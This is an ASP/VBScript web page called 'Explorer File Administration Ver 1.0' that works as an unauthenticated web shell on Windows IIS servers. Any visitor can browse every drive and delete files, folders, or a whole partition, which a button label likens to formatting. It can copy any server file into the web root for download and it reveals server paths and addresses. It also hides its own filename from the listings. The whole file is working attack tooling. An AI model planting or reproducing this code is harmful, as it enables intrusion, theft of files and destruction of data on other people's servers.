<%@ Language=VBScript %>
<%
Response.Expires=-1
%>
<HTML>
<HEAD>
<STYLE>
BODY
{
FONT-SIZE: 12px;
COLOR: paleturquoise;
BACKGROUND-COLOR: black;
FONT-FAMILY: '宋体';
TEXT-DECORATION: none
}
INPUT
{
BORDER-RIGHT: thin ridge;
BORDER-TOP: thin ridge;
FONT-SIZE: 12px;
BORDER-LEFT: thin ridge;
COLOR: paleturquoise;
BORDER-BOTTOM: thin ridge;
BACKGROUND-COLOR: black;
FONT-FAMILY: '宋体';
TEXT-DECORATION: none
}
SELECT
{
BORDER-RIGHT: thin ridge;
BORDER-TOP: thin ridge;
FONT-SIZE: 12px;
BORDER-LEFT: thin ridge;
COLOR: paleturquoise;
BORDER-BOTTOM: thin ridge;
BACKGROUND-COLOR: black;
FONT-FAMILY: '宋体';
TEXT-DECORATION: none
}
A:active
{
FONT-SIZE: 12px;
COLOR: greenyellow;
FONT-FAMILY: '宋体';
TEXT-DECORATION: none
}
A:link
{
FONT-SIZE: 12px;
COLOR: greenyellow;
FONT-FAMILY: '宋体';
TEXT-DECORATION: none
}
A:visited
{
FONT-SIZE: 12px;
COLOR: greenyellow;
FONT-FAMILY: '宋体';
TEXT-DECORATION: none
}
A:hover
{
FONT-SIZE: 12px;
COLOR: violet;
FONT-FAMILY: '宋体';
TEXT-DECORATION: underline
}
TABLE
{
FONT-FAMILY: '宋体';
BORDER-RIGHT: silver;
BORDER-TOP: silver;
BORDER-LEFT: silver;
BORDER-BOTTOM: silver
}
TD
{
FONT-FAMILY: '宋体';
BORDER-RIGHT: silver;
BORDER-TOP: silver;
BORDER-LEFT: silver;
BORDER-BOTTOM: silver
}
</STYLE>
<TITLE>Explorer File Administration Ver: 1.0</TITLE>
</HEAD>
<BODY topmargin=5>
<table border=0 align=center width="100%" cellpadding=0 cellspacing=0>
<tr>
<td align=center><font size=4 color="OrangeRed"><b>Explorer File Administration Ver: 1.0</b></font></td>
</tr>
<tr>
<td align=center><hr></td>
</tr>
</table>
<%
dim parentfolder,subfolder,fso,files,folders,fs,root,roots,filechild,folderchild,tmpmsg,tmpf1,tmpf2,dr,tmpdrtype,d,ds
dim g_actionid,g_actionparameter,isReady,isCheck
dim aboutmsg,totalfiles,totalsfolders
aboutmsg="Explorer File Administration Ver 1.0 "" & vbCrlf & vbCrlf"
aboutmsg=aboutmsg & " & ""Author: Johnny Lill"" & vbCrlf"
aboutmsg=aboutmsg & " & ""Email : Johnny_Lill@hotmail.com"" & vbCrlf"
aboutmsg=aboutmsg & " & ""Date : 2003-5-10"
isReady=true
g_actionid=trim(Request("actionid"))
g_actionparameter=trim(Request("actionparameter"))
isCheck=trim(Request("showsize"))
if isCheck="" then
isCheck=false
else
isCheck=true
end if
function returnattr(id)
if id and 0 then
returnattr="--------"
exit function
end if
if id and 1 then
returnattr="r"
else
returnattr="-"
end if
if id and 2 then
returnattr=returnattr & "h"
else
returnattr=returnattr & "-"
end if
if id and 4 then
returnattr=returnattr & "s"
else
returnattr=returnattr & "-"
end if
if id and 8 then
returnattr=returnattr & "v"
else
returnattr=returnattr & "-"
end if
if id and 16 then
returnattr=returnattr & "d"
else
returnattr=returnattr & "-"
end if
if id and 32 then
returnattr=returnattr & "a"
else
returnattr=returnattr & "-"
end if
if id and 64 then
returnattr=returnattr & "l"
else
returnattr=returnattr & "-"
end if
if id and 128 then
returnattr=returnattr & "c"
else
returnattr=returnattr & "-"
end if
end function
err.clear
on error resume next
set fso=server.CreateObject("Scripting.FileSystemObject")
if err.number<>0 then
Response.Write "<BR><font size=3 color=red>Sorry.<BR>The system can not support FileSystemObject!</font>"
Response.End
end if
if g_actionid<>"" and g_actionparameter<>"" then
Response.Write "<a href=""filesystem.asp""><< return to root</a><hr>"
select case cstr(g_actionid)
case "1" 'delete all of files under current folder
set fs=fso.GetFolder(g_actionparameter)
set files=fs.Files
tmpf1=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
err.Clear
on error resume next
tmpmsg=filechild.path
fso.DeleteFile filechild.path,true
if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "File : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf1=tmpf1+1
end if
next
if tmpf1>0 then
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
else
Response.Write "<div align=center><font color=""red"" size=4>Something wrong !!</font></div>"
end if
case "2" 'delete the selected file
err.Clear
on error resume next
fso.DeleteFile g_actionparameter,true
if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & g_actionparameter & "</font> can not be delete!"
else
Response.Write "File : <font size=2 color=green>" & g_actionparameter & "</font> had been deleted!"
end if
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
case "3" 'delete the selected folder
err.Clear
on error resume next
fso.DeleteFolder g_actionparameter,true
if err.number<>0 then
Response.Write "Folder : <font size=2 color=red>" & g_actionparameter & "</font> can not be delete!"
else
Response.Write "Folder : <font size=2 color=green>" & g_actionparameter & "</font> had been deleted!"
end if
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
case "4" 'delete all of folders and files
set fs = fso.GetFolder(g_actionparameter)
set files=fs.Files
set folders=fs.SubFolders
tmpf1=0
for each folderchild in folders
err.Clear
on error resume next
tmpmsg=folderchild.path
fso.DeleteFolder folderchild.path,true
if err.number<>0 then
Response.Write "Folder : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "Folder : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf1=tmpf1+1
next
if tmpf1>0 then
Response.Write "<hr>"
end if
tmpf2=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
err.Clear
on error resume next
tmpmsg=filechild.path
fso.DeleteFile filechild.path,true
if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "File : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf2=tmpf2+1
end if
next
if tmpf2>0 or tmpf1>0 then
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
else
Response.Write "<div align=center><font color=""red"" size=4>Something wrong !!</font></div>"
end if
case "5"
if g_actionparameter<>"" then
err.Clear
'on error resume next
fso.CopyFile g_actionparameter,Request.ServerVariables("APPL_PHYSICAL_PATH") & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"/")),true
set fs=fso.GetFile(Request.ServerVariables("APPL_PHYSICAL_PATH") & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"/")))
fs.Attributes=0
Response.Write vbCrlf & "<iframe name=""actionwin"" border=0 frameborder=0 framespacing=0 width=""100%"" height=300 marginheight=0 hspace=0 marginwidth=0 vspace=0 noresize style=""background-color:black""></iframe>" & vbCrlf
Response.Write "<script language=vbs>" & vbCrlf
Response.write "actionwin.document.open()" & vbCrlf
Response.write "actionwin.document.writeln(" & chr(34) & "<BODY MONOSPACE STYLE=" & chr(34) & chr(34) & "background-color:black" & chr(34) & chr(34) & ">" & chr(34) & ")" & vbCrlf
Response.write "actionwin.document.close()" & vbCrlf
Response.Write "actionwin.window.location.href= " & chr(34) & "HTTP://" & Request.ServerVariables("HTTP_HOST") & "/" & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"/")) & chr(34) & vbCrlf
Response.Write "</script>" & vbCrlf
end if
end select
%>
</BODY>
</HTML>
<%
Response.End
end if
subfolder=trim(Request("sfolder"))
parentfolder=trim(Request("pfolder"))
drive=trim(Request("drives"))
if drive="" then
drive="C:/"
end if
roots=drive
if subfolder=".." then
if right(parentfolder,1)="/" then
parentfolder=left(parentfolder,len(parentfolder)-1)
end if
root=drive & left(parentfolder,instrrev(parentfolder,"/"))
parentfolder=left(parentfolder,instrrev(parentfolder,"/"))
else
if subfolder<>"" then
root=drive & parentfolder & subfolder & "/"
parentfolder=parentfolder & subfolder & "/"
else
root=drive
parentfolder=""
end if
end if
set fs = fso.GetFolder(root)
set files=fs.Files
set folders=fs.SubFolders
set dr=fso.Drives
%>
<form name="changefolder" method="post" action="filesystem.asp">
<table border=0 align=center cellspacing=0 cellpadding=0>
<tr>
<td align=center colspan=2>
<input type=text name="CurrentFolder" value="<%=root%>" readonly style="width:400;font-size:9pt;color:Orange" title="Current Folder" size="20">
<select name="drives" size=1 style="width:195;font-size:9pt;color:white">
<%
For Each d in dr
tmpdrtype=d.DriveType
select case tmpdrtype
Case 0: tmpdrtype = "Unknown"
Case 1: tmpdrtype = "Removable"
Case 2: tmpdrtype = "Fixed"
Case 3: tmpdrtype = "Network"
Case 4: tmpdrtype = "CD-ROM"
Case 5: tmpdrtype = "RAM Disk"
end select
%>
<option value="<%=d.DriveLetter%>:/" <%if UCASE(d.DriveLetter) & ":/"=drive then Response.Write "selected" end if%>><%=d.DriveLetter%>:/ [<%=tmpdrtype%>]</option>
<%
Next
set d=nothing
set dr=nothing
%>
</select>
</td>
</tr>
<tr>
<td align=center colspan=2>
<select name="root" size=13 style="width:600;font-size:9pt;color:YellowGreen" title="Folders and files list">
<%
on error resume next
set ds=fso.GetDrive(fso.GetDriveName(drive))
if ds.IsReady then
if fso.GetParentFolderName(root)<>"" then
%>
<option value=".." style="color:white">-------- <..></option>
<%
end if
%>
<%
totalsfolders=0
for each folderchild in folders
%>
<option value="<%=folderchild.name%>" style="color:LightPink"><%=returnattr(folderchild.Attributes)%> <<%=folderchild.name%>><%if isCheck then%> (<%=folderchild.size/1024 & "KB"%>)<%end if%></option>
<%
totalsfolders=totalsfolders+1
next
%>
<%
totalfiles=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
%>
<option value="<%=filechild.name%>"><%=returnattr(filechild.Attributes)%> <%=filechild.name%><%if isCheck then%> (<%=filechild.size/1024 & "KB"%>)<%end if%></option>
<% totalfiles=totalfiles+1
end if
next
isReady=true
else
isReady=false
end if
set ds=nothing
set filechild=nothing
set folderchild=nothing
%>
</select>
</td>
</tr>
<tr>
<td align=left width="50%">
<input type=text name="TotalSubFolders" value="目录数: <%=totalsfolders%>" title="Total SubFolders: <%=totalsfolders%>" style="width:300;color:Khaki;text-align:right" readonly size="20">
</td>
<td align=left>
<input type=text name="TotalFiles" value="文件数: <%=totalfiles%>" title="Total Files: <%=totalfiles%>" style="width:300;color:Khaki;text-align:right" readonly size="20">
</td>
</tr>
<tr>
<td align=center width="50%">
<input type=button name="delcurfile" value="删除所选择的文件" style="width:300" title="Delete the selected file">
</td>
<td align=center>
<input type=button name="delcurfolder" value="删除当前文件夹下的所有文件" style="width:300" title="Delete all of files under current folder">
</td>
</tr>
<tr>
<td align=center>
<input type=button name="delselfolder" value="删除所选择的文件夹" style="width:300" title="Delete then selected folder">
</td>
<td align=center>
<input type=button name="delall" value="删除该分区下的所有文件夹及文件(相当于格式化)" style="width:300" title="Delete all of files and folders">
</td>
</tr>
<tr>
<td align=center>
<select name="moreinfo" size=1 style="font-size:9pt;color:BlanchedAlmond;width:300">
<option style="color:red" value=""> -= 显示其它相关信息 =- </option>
<option value="<%=Request.ServerVariables("APPL_PHYSICAL_PATH")%>"><APPL_PHYSICAL_PATH></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("HTTP_HOST")%>"><HTTP_HOST></option>
<option value="<%=Request.ServerVariables("LOCAL_ADDR")%>"><LOCAL_ADDR></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("PATH_INFO")%>"><PATH_INFO></option>
<option value="<%=Request.ServerVariables("REMOTE_ADDR")%>"><REMOTE_ADDR></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("REMOTE_HOST")%>"><REMOTE_HOST></option>
<option value="<%=Request.ServerVariables("SERVER_NAME")%>"><SERVER_NAME></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("SERVER_PORT")%>"><SERVER_PORT></option>
<option value="<%=Request.ServerVariables("SERVER_PROTOCOL")%>"><SERVER_PROTOCOL></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("SERVER_SOFTWARE")%>"><SERVER_SOFTWARE></option>
<option value="<%=Request.ServerVariables("SCRIPT_NAME")%>"><SCRIPT_NAME></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("PATH_TRANSLATED")%>"><PATH_TRANSLATED></option>
<option value="<%=Request.ServerVariables("INSTANCE_META_PATH")%>"><INSTANCE_META_PATH></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("HTTP_USER_AGENT")%>"><HTTP_USER_AGENT></option>
<option value="<%=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")%>"><HTTP_ACCEPT_LANGUAGE></option>
<option style="color:Peru;background-color:#333333" value="<%=Request.ServerVariables("HTTP_ACCEPT")%>"><HTTP_ACCEPT></option>
<option value="<%=Request.ServerVariables("CONTENT_TYPE")%>"><CONTENT_TYPE></option>
</select>
</td>
<td align=center>
<input type=button name="aboutme" value="About Explorer File Administration" style="width:300" title="About Explorer File Administration">
</td>
</tr>
<tr>
<td align=left colspan=2>
<input type=text name="infostext" style="width:500;color:Yellow" title="Display More Informations" readonly size="20">
<input type=checkbox name="showsize" title="Show Size (this function maybe slower than standard more!)" <%if isCheck then Response.Write "Checked" end if%> value="ON"><font size=2 color=orange>Show Size</font>
</td>
</tr>
<table>
<input type=hidden name="sfolder">
<input type=hidden name="pfolder" value="<%=parentfolder%>">
<input type=hidden name="ffolder" value="<%=root%>">
<input type=hidden name="rfolder" value="<%=roots%>">
<input type=hidden name="actionid">
<input type=hidden name="actionparameter">
</form>
<%
set files=nothing
set folders=nothing
set fs=nothing
set fso=nothing
%>
</BODY>
<script language=vbs>
if cbool("<%=isReady%>") then
changefolder.delall.disabled=false
changefolder.delcurfolder.disabled=false
else
changefolder.delall.disabled=true
changefolder.delcurfolder.disabled=true
end if
changefolder.delcurfile.disabled=true
changefolder.delselfolder.disabled=true
sub root_ondblclick()
if changefolder.root.selectedIndex=-1 then exit sub
if instr(changefolder.root.options(changefolder.root.selectedIndex).text,"<")<>0 then
changefolder.sfolder.value=changefolder.root.options(changefolder.root.selectedIndex).value
changefolder.actionid.value=""
changefolder.actionparameter.value=""
changefolder.submit
else
if msgbox("download " & changefolder.ffolder.value & changefolder.root.options(changefolder.root.selectedIndex).value & " ?",vbQuestion+vbYesNo,"Question")=vbYes then
changefolder.actionid.value="5"
changefolder.actionparameter.value=changefolder.ffolder.value & changefolder.root.options(changefolder.root.selectedIndex).value
changefolder.submit
end if
end if
end sub
sub root_onchange()
if instr(changefolder.root.options(changefolder.root.selectedIndex).text,"<")<>0 then
if instr(changefolder.root.options(changefolder.root.selectedIndex).text,"..")=0 then
changefolder.delcurfolder.disabled=false
changefolder.delcurfile.disabled=true
changefolder.delselfolder.disabled=false
changefolder.delall.disabled=false
else
changefolder.delcurfolder.disabled=true
changefolder.delcurfile.disabled=true
changefolder.delselfolder.disabled=true
changefolder.delall.disabled=true
end if
else
changefolder.delcurfolder.disabled=false
changefolder.delcurfile.disabled=false
changefolder.delselfolder.disabled=true
changefolder.delall.disabled=false
end if
end sub
sub drives_onchange()
changefolder.actionid.value=""
changefolder.actionparameter.value=""
changefolder.submit
end sub
sub delcurfolder_onclick()
if changefolder.root.options.length=0 then
msgbox "Can not found files under current folder!",vbCritical,"Error"
exit sub
end if
if msgbox("This action will delete all of files under current folder," & vbCrlf & "Are you sure?" & vbCrlf & vbCrlf & "Current folder: " & changefolder.ffolder.value ,vbYesNo+vbQuestion+vbDefaultButton2,"Question")=vbNo then exit sub
changefolder.actionid.value=1
changefolder.actionparameter.value=changefolder.ffolder.value
changefolder.submit
end sub
sub delcurfile_onclick()
if msgbox("This action will delete the selected file," & vbCrlf & "Are you sure?" & vbCrlf & vbCrlf & "The selected file: " & changefolder.ffolder.value & changefolder.root.options(changefolder.root.selectedIndex).value ,vbYesNo+vbQuestion+vbDefaultButton2,"Question")=vbNo then exit sub
changefolder.actionid.value=2
changefolder.actionparameter.value=changefolder.ffolder.value & changefolder.root.options(changefolder.root.selectedIndex).value
changefolder.submit
end sub
sub delselfolder_onclick()
if msgbox("This action will delete the seleted folder," & vbCrlf & "Are you sure?" & vbCrlf & vbCrlf & "The selected folder: " & changefolder.ffolder.value & changefolder.root.options(changefolder.root.selectedIndex).value, vbYesNo+vbQuestion+vbDefaultButton2,"Question")=vbNo then exit sub
changefolder.actionid.value=3
changefolder.actionparameter.value=changefolder.ffolder.value & changefolder.root.options(changefolder.root.selectedIndex).value
changefolder.submit
end sub
sub delall_onclick()
if msgbox("This action will delete all of folders and files," & vbCrlf & "Are you sure?", vbYesNo+vbQuestion+vbDefaultButton2,"Question")=vbNo then exit sub
changefolder.actionid.value=4
changefolder.actionparameter.value=changefolder.rfolder.value
changefolder.submit
end sub
sub delcurfolder_onmouseover()
changefolder.delcurfolder.style.borderRightStyle="outset"
changefolder.delcurfolder.style.borderTopStyle="outset"
changefolder.delcurfolder.style.borderLeftStyle="outset"
changefolder.delcurfolder.style.borderBottomStyle="outset"
changefolder.delcurfolder.style.fontSize="12px"
changefolder.delcurfolder.style.COLOR="Moccasin"
changefolder.delcurfolder.style.backgroundColor="MidnightBlue"
changefolder.delcurfolder.style.fontFamily="宋体"
end sub
sub delcurfolder_onmouseout()
changefolder.delcurfolder.style.borderRightStyle="ridge"
changefolder.delcurfolder.style.borderTopStyle="ridge"
changefolder.delcurfolder.style.borderLeftStyle="ridge"
changefolder.delcurfolder.style.borderBottomStyle="ridge"
changefolder.delcurfolder.style.fontSize="12px"
changefolder.delcurfolder.style.COLOR="paleturquoise"
changefolder.delcurfolder.style.backgroundColor="black"
changefolder.delcurfolder.style.fontFamily="宋体"
end sub
sub delall_onmouseover()
changefolder.delall.style.borderRightStyle="outset"
changefolder.delall.style.borderTopStyle="outset"
changefolder.delall.style.borderLeftStyle="outset"
changefolder.delall.style.borderBottomStyle="outset"
changefolder.delall.style.fontSize="12px"
changefolder.delall.style.COLOR="Moccasin"
changefolder.delall.style.backgroundColor="MidnightBlue"
changefolder.delall.style.fontFamily="宋体"
end sub
sub delall_onmouseout()
changefolder.delall.style.borderRightStyle="ridge"
changefolder.delall.style.borderTopStyle="ridge"
changefolder.delall.style.borderLeftStyle="ridge"
changefolder.delall.style.borderBottomStyle="ridge"
changefolder.delall.style.fontSize="12px"
changefolder.delall.style.COLOR="paleturquoise"
changefolder.delall.style.backgroundColor="black"
changefolder.delall.style.fontFamily="宋体"
end sub
sub delcurfile_onmouseover()
changefolder.delcurfile.style.borderRightStyle="outset"
changefolder.delcurfile.style.borderTopStyle="outset"
changefolder.delcurfile.style.borderLeftStyle="outset"
changefolder.delcurfile.style.borderBottomStyle="outset"
changefolder.delcurfile.style.fontSize="12px"
changefolder.delcurfile.style.COLOR="Moccasin"
changefolder.delcurfile.style.backgroundColor="MidnightBlue"
changefolder.delcurfile.style.fontFamily="宋体"
end sub
sub delcurfile_onmouseout()
changefolder.delcurfile.style.borderRightStyle="ridge"
changefolder.delcurfile.style.borderTopStyle="ridge"
changefolder.delcurfile.style.borderLeftStyle="ridge"
changefolder.delcurfile.style.borderBottomStyle="ridge"
changefolder.delcurfile.style.fontSize="12px"
changefolder.delcurfile.style.COLOR="paleturquoise"
changefolder.delcurfile.style.backgroundColor="black"
changefolder.delcurfile.style.fontFamily="宋体"
end sub
sub delselfolder_onmouseover()
changefolder.delselfolder.style.borderRightStyle="outset"
changefolder.delselfolder.style.borderTopStyle="outset"
changefolder.delselfolder.style.borderLeftStyle="outset"
changefolder.delselfolder.style.borderBottomStyle="outset"
changefolder.delselfolder.style.fontSize="12px"
changefolder.delselfolder.style.COLOR="Moccasin"
changefolder.delselfolder.style.backgroundColor="MidnightBlue"
changefolder.delselfolder.style.fontFamily="宋体"
end sub
sub delselfolder_onmouseout()
changefolder.delselfolder.style.borderRightStyle="ridge"
changefolder.delselfolder.style.borderTopStyle="ridge"
changefolder.delselfolder.style.borderLeftStyle="ridge"
changefolder.delselfolder.style.borderBottomStyle="ridge"
changefolder.delselfolder.style.fontSize="12px"
changefolder.delselfolder.style.COLOR="paleturquoise"
changefolder.delselfolder.style.backgroundColor="black"
changefolder.delselfolder.style.fontFamily="宋体"
end sub
sub aboutme_onmouseover()
changefolder.aboutme.style.borderRightStyle="outset"
changefolder.aboutme.style.borderTopStyle="outset"
changefolder.aboutme.style.borderLeftStyle="outset"
changefolder.aboutme.style.borderBottomStyle="outset"
changefolder.aboutme.style.fontSize="12px"
changefolder.aboutme.style.COLOR="Moccasin"
changefolder.aboutme.style.backgroundColor="MidnightBlue"
changefolder.aboutme.style.fontFamily="宋体"
end sub
sub aboutme_onmouseout()
changefolder.aboutme.style.borderRightStyle="ridge"
changefolder.aboutme.style.borderTopStyle="ridge"
changefolder.aboutme.style.borderLeftStyle="ridge"
changefolder.aboutme.style.borderBottomStyle="ridge"
changefolder.aboutme.style.fontSize="12px"
changefolder.aboutme.style.COLOR="paleturquoise"
changefolder.aboutme.style.backgroundColor="black"
changefolder.aboutme.style.fontFamily="宋体"
end sub
sub aboutme_onclick()
msgbox "<%=aboutmsg%>",vbInformation,"About"
end sub
sub moreinfo_onchange()
changefolder.infostext.value=changefolder.moreinfo.value
end sub
</script>
</HTML>